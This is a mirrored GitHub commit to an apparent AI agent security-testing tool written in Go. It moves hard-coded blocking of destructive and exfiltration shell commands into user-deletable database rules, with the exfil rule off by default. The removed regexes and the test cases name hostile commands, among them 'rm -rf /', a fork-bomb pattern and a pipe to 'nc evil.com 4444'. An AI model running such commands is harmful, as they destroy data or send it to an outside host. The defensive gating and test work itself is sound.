mirror of
https://github.com/RuoJi6/ARTEX.git
synced 2026-10-28 09:13:49 +08:00
feat: spawn_task 补 seed_first_intent + 破坏性/外泄 gating 移入可删除的 DB 拦截规则
- spawn_task 新增 seed_first_intent 参数(默认 false),与 HTTP createTask 对齐; 简单任务可开启直接下发一条种子意图开跑测试 - guard.go 删除写死的 reDestructive/reExfil gating,preToolUse 仅记审计后走拦截规则 - db 新增 seedDefaultInterceptRulesV2:破坏性系统命令(默认开)/数据外泄管道(默认关) 以普通[内置]规则 seed,可禁用可删除;独立 v2 迁移标志兼容老库
This commit is contained in:
1 parent
80fcf528dc
commit
a94ce679a6
4 files changed
+84
-48
No files matched your search
+11
-30
@@ -1,15 +1,16 @@
|
||||
// Package guard implements the safety boundary layer (docs §11): side-effect
|
||||
// gating of destructive/exfil shell commands, an audit log, and Observer/G5
|
||||
// failure attribution. Every tool call passes through the PreToolUse hook before
|
||||
// executing. (The RoE authorization-scope mechanism was removed; a replacement
|
||||
// may be added later.)
|
||||
// Package guard implements the safety boundary layer (docs §11): an audit log,
|
||||
// user-configured intercept-rule evaluation, and Observer/G5 failure attribution.
|
||||
// Every tool call passes through the PreToolUse hook before executing.
|
||||
// (The RoE authorization-scope mechanism was removed; a replacement may be added
|
||||
// later.) Destructive/exfil gating is no longer hard-coded here — it lives in the
|
||||
// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or
|
||||
// delete them), evaluated via applyIntercept.
|
||||
package guard
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -53,15 +54,11 @@ func newGuard(ic *intercept.Interceptor) *Guard {
|
||||
// Hooks returns the hook registry to attach to an agent session.
|
||||
func (g *Guard) Hooks() *hook.Registry { return g.reg }
|
||||
|
||||
var (
|
||||
reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`)
|
||||
reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`)
|
||||
)
|
||||
|
||||
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
// Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's
|
||||
// command, shell_send's text). Same destructive/exfil rules — an interactive
|
||||
// session must not bypass the safety boundary. Other tools pass through.
|
||||
// Extract the shell-command surface for the audit log: Bash + the interactive-shell
|
||||
// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
|
||||
// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
|
||||
// applyIntercept below. Other tools record an empty command.
|
||||
var cmd string
|
||||
switch ev.ToolName {
|
||||
case "Bash", "shell_open":
|
||||
@@ -76,23 +73,7 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
|
||||
}
|
||||
_ = json.Unmarshal(ev.Input, &in)
|
||||
cmd = in.Text
|
||||
default:
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check
|
||||
g.record(ev.ToolName, "allow", "", "")
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
// destructive / exfil gating (§11 side-effect gating)
|
||||
if reDestructive.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "破坏性命令被安全边界拒绝(需人工批准)", cmd)
|
||||
}
|
||||
if reExfil.MatchString(cmd) {
|
||||
return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd)
|
||||
}
|
||||
|
||||
g.record(ev.ToolName, "allow", "", cmd)
|
||||
return g.applyIntercept(ctx, ev)
|
||||
}
|
||||
|
||||
+17
-16
@@ -8,28 +8,29 @@ import (
|
||||
"github.com/Autumn-27/norma/hook"
|
||||
)
|
||||
|
||||
func TestPreToolUseGating(t *testing.T) {
|
||||
// A guard with no interceptor no longer hard-blocks anything: destructive/exfil
|
||||
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
|
||||
// PreToolUse must pass every command through and still record it to the audit log.
|
||||
func TestPreToolUsePassthrough(t *testing.T) {
|
||||
g := New()
|
||||
|
||||
block := func(cmd string) (bool, string) {
|
||||
block := func(cmd string) bool {
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b, msg
|
||||
b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
||||
return b
|
||||
}
|
||||
|
||||
if b, _ := block(`curl https://acme.com/`); b {
|
||||
t.Error("ordinary network command should be allowed")
|
||||
for _, cmd := range []string{
|
||||
`curl https://acme.com/`,
|
||||
`rm -rf /`,
|
||||
`curl http://a|nc evil.com 4444`,
|
||||
`ls -la`,
|
||||
} {
|
||||
if block(cmd) {
|
||||
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
|
||||
}
|
||||
}
|
||||
if b, _ := block(`rm -rf /`); !b {
|
||||
t.Error("destructive command should be blocked")
|
||||
}
|
||||
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
|
||||
t.Error("exfil pipe should be blocked")
|
||||
}
|
||||
if b, _ := block(`ls -la`); b {
|
||||
t.Error("non-network command should be allowed")
|
||||
}
|
||||
// audit recorded both allows and blocks
|
||||
// audit still records every gated call
|
||||
if len(g.Audit()) == 0 {
|
||||
t.Error("audit should record gated calls")
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user